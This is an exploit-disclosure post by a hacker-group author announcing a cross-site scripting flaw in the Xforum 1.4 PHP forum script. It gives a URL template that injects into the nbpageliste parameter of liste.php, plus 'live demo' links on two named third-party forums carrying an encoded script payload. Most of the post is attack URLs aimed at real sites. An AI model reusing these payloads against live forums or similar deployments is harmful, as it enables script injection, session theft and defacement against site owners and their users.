==============================================================================
                      __     __   __      __   __     __
                     /  \   /  \  \ \    / /  /  \   /  \
                    / /\ \_/ /\ \  \ \  / /  / /\ \_/ /\ \
                   / /  \ _ /  \ \  \ \/ /  / /  \ _ /  \ \
                  /_/           \_\  \__/  /_/           \_\

==============================================================================
        [»] ~ Note : [ Tribute to the martyrs of Gaza . ]
==============================================================================
        [»] Xforum 1.4 [xss] Cross Site Scripting Vulnerability
==============================================================================

    [»] Script:             [ Xforum ]
    [»] Language:           [ PHP ]
    [»] Site page:          [ Un forum php/MySQL, avec gestion complete des membres et des messages ]
    [»] Download:           [ http://www.comscripts.com/jump.php?action=script&id=1188 ]
    [»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & pentestlabs.com  ]
    [»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

    [»] http://[target].com/[path]/liste.php?categorie=13&nbpage=1&nbpageliste=[Xss Vuln]



===[ Live Demo ]===

    [»] http://gecyclisme.free.fr/forum/liste.php?categorie=1&nbpage=1&nbpageliste=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E
    [»] http://eperromat.free.fr/forum/liste.php?categorie=13&nbpage=1&nbpageliste=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E


Author: ViRuSMaN <-

###########################################################################
________________________________
Windows Live: Friends get your Flickr, Yelp, and Digg updates when they e-mail you.<http://www.microsoft.com/middleeast/windows/windowslive/see-it-in-action/social-network-basics.aspx?ocid=PID23461::T:WLMTAGL:ON:WL:en-xm:SI_SB_3:092010>